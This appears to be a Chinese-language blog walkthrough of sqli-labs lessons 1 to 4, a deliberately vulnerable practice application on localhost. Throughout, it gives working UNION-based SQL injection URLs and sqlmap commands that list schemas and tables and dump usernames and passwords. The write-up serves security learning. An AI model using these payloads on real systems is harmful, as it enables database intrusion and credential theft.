刚刚做完sqli-labs的第一节的第一题(QAQ)
我的时间呀!!!(太笨只能一步一步的往前走)
我使用了两种方法解决的这一题,希望能够帮助到你们
题目是 :GET Error based- Single quotes -String
解题链接:http://127.0.0.1/sqli-labs-master/Less-1/
关注点:基于错误,单引号,字符型注入。
手工注入:
payload1:http://127.0.0.1/sqli-labs-master/Less-1/?id=0
页面正常:
payload2:http://127.0.0.1/sqli-labs-master/Less-1/?id=0'
页面返回错误(可以判断有字符型的注入)
使用UNION SELECT 或者 ORDER BY 语句进行查询字段数:
payload3:http://127.0.0.1/sqli-labs-master/Less-1/?id=0' UNION SELECT 1,2,3 --+
可以发现字段数为 3 ,可显示位置为 2,3。尾部—+会被浏览器解释为— (空格),这在mysql里是注释。
然后就可以查询数据库的名称
payload4:http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
这里是利用元数据表INFORMATION_SCHEMA获取数据库信息。
获取表名:
payload5:http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
这里 hex(security)=0x7365637572697479(进行十六进制的转换)
获取字段名:
payload6:http://127.0.0.1/sqli-labs-master/Less-1/?id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273--+
最后就是进行数据的查询:
payload7:http://127.0.0.1/sqli-labs-master/Less-1/?id=0%27%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users%20--+
sqlmap工具注入:
首先进行数据的查询:
payload1:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=0" --technique UE --dbms mysql --dbs --batch
数据库中的表的查询:
payload2:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=0" --technique UE --dbms mysql -D security --tables --batch
字段信息的查询:
payload3:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=0" --technique UE --dbms mysql -D security -T users --columns --batch
最后就会得到具体的答案了:
payload4;python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=0" --technique UE --dbms mysql -D security -T users -C username,password --dump --batch
第二题:http://127.0.0.1/sqli-labs-master/Less-2/
由于题目说是数值型注入。 所以不需要闭合引号。
其它的过程和第一题一样的:
直接给出最后的payload:http://127.0.0.1/sqli-labs-master/Less-2/?id=0%20UNION%20SELECT%201,GROUP_CONCAT(username,0x3a,password,0x20),3%20FROM%20security.users%20--+
使用sqlmap注入:python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-2/?id=0 " --technique UE --dbms mysql -D security -T users -C username,password --dump --batch
第三题:http://127.0.0.1/sqli-labs-master/Less-3/
首先:进行一下手工注入:
payload:http://127.0.0.1/sqli-labs-master/Less-3/?id=1%27
注意到报错回显中有 ),说明需要闭合。
我们只是需要把第一题中的每一个(0‘——>0'))就好了
手工注入:
payload:127.0.0.1/sqli-labs-master/Less-3/?id=0') UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x20),3 FROM security.users --+
sqlmap注入:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-3/?id=1=0')" --technique UE --dbms mysql -D security -T users -C password,username --dump --batch
DI
第四题:http://127.0.0.1/sqli-labs-master/Less-4/
首先:进行手工注入:http://127.0.0.1/sqli-labs-master/Less-4/?id=1"
ennnnnnnn......................
我们只是需要把双引号后面加上一个)就可以了
接下来手工注入的方式和以上相同
payload:http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+
使用sqlmap注入:
我直接写出最后要运行的:python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-4/?id=-1")" --technique UE --dbms mysql -D security -T users -C password,username --dump --batch